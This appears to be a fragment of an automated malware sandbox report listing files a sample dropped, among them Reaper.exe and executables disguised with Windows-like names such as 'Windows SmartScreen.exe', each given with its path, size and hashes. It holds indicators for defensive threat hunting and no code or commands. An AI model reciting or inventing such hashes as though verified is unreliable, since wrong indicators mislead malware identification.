- SSDEEP 6144:0R0J4lx4/7BA4xvNdcwCOg04j0y5mwZkdmsqmLDi5eNH+Dl1SIP0:0R0J48lAovNd7CO34D4b4eNO
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\Reaper.exe
- Size 42KB
- SHA256 fc69c7aee21fa012c9e9de28e35c20eb9ddf473c0ac0b482faebc203dd97999c
- MD5 c7d407dbbe4d83fc37f2fa4f51276c76
- SHA1 c6f1f596be6a99566d5862a0aa2f16b90eecb05c
- SHA512 ed49a442172bdadd6f91db48db3003c5cb749868e9c40a90e8f6b65cdf4b6899d0132cfd70fb08a248412118353d0b4477606385244b90e0883ecdda213403c5
- SSDEEP 768:KSYRgT5fk4HtF5r5wy+Qa2RvNGGBFL14aLUOyO:KSYWK4teDQa2VNGyFL1DoHO
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-file-l1-2-0.dll
- Size 22KB
- SHA256 0b7a730b6b10c9d2e2fe1b9b4419b1fc60db9074a0c6f830e1b2da4d0f65fe88
- MD5 8d1531275b769c1bd485440214bfaf82
- SHA1 c8bb901b148522595cd78f1e12f61730bfa3d9df
- SHA512 55914f424c400208b0d2c4d6cafa355aecf4697d3a6bf4032fe298214ed3565013c969b1e23d91cdf995dad46760c80e3a0a3abc062b3084b2bb4bc83a90995f
- SSDEEP 384:U7WWyhWvU8JIYiaHZ8ZpH3GCJEjyDwnyr:U7avYiQZiRBEjBI
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-processthreads-l1-1-1.dll
- Size 22KB
- SHA256 a5aa6755860602c58c0edb1353c965e6f0ba58e7276ba6fb5a0b961fb274d125
- MD5 5132f7fe729791081561426904d45e76
- SHA1 56fba2baed4123bf4be7be1c5344f95e6bd9db9c
- SHA512 b12e981ddb608049456dbfc0bb77350819f42caf0da457ad778bb9ded3979503ce6713d366547ac3f949ebdc01d0775da1d726fd367b11b8680a472017f59cc6
- SSDEEP 384:brDfIegWyhW6U8JIYiaHZ8ZpH3GCJEOyHs3j:0eoMYiQZiRBEOXj
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\Windows Driver Foundation.exe
- Size 74KB
- SHA256 c98143abbb039d75adadefe62be076f46158aa0940bc65aafacfd6f820e35f50
- MD5 c5ea5fa22d8571f115e2dfa305b10ce9
- SHA1 79a50e4b62f4354ea69f5095303d584479e29648
- SHA512 7d0e32883bff42a7bf8f86d0cba346574c41e869ba85c872737c62fac9f77f403acbf503db389db22643ca8a7c8cf6f9da1f7649abf4738b242a6b22f822d1a8
- SSDEEP 1536:tUTKcx89CgCB0PMVye9VdQuDI6H1bf/ljs6OHcxuQzcNLVclN:tUucx89Je0PMVye9VdQsH1bfhs6tuQci
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\Windows Service Wrapper.exe
- Size 63KB
- SHA256 d5bad2e5f00b8222e1ac18fdf3de1a2341e0c9aa6744c193cc559c3e8e9d918b
- MD5 fe91437565d502ee577c5853977b9f33
- SHA1 226fb71ae3fb3496f903601b4efe04e88949bd3a
- SHA512 e3839f327edf6903bdca6670be8da0dfd43dec49c69ee1c4fc7b6b383916e0a6eb35a7f789efae685045bc2103e89b50cacbe10368a7d2f38db4c0ade8f58697
- SSDEEP 1536:G58wU4efe5zekyTNXLE4DrGbfmj+d9Tf6PUOTXj3qN:E8H4AetiTNXLEJbfZmUOL+N
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\Windows SmartScreen.exe
- Size 7.9MB
- SHA256 c728d0df78c2c46946c59843bd7154a4d43deb859d52356bc3f204e8b59fee59
- MD5 c3356110da4fbcda8b38cef09d864881
- SHA1 6fab55baa9d1a82cf48180139e60c7c9eb0fd201
- SHA512 567274dce882fa193a6d57d44518bbea505b729f20e209c9885014c462cfe96fbdcde8e4775ae777d47468d4bd0b70c805a19abf2199bced5c0a8d5248e1bd45
- SSDEEP 196608:sUQsgXyHbT/9bvLz3S1bA32ZQT+OqwvkYPdl:bEmbTlj3S1bO2Zi+OqNwl
- MD5 SHA1 SHA512 SSDEEP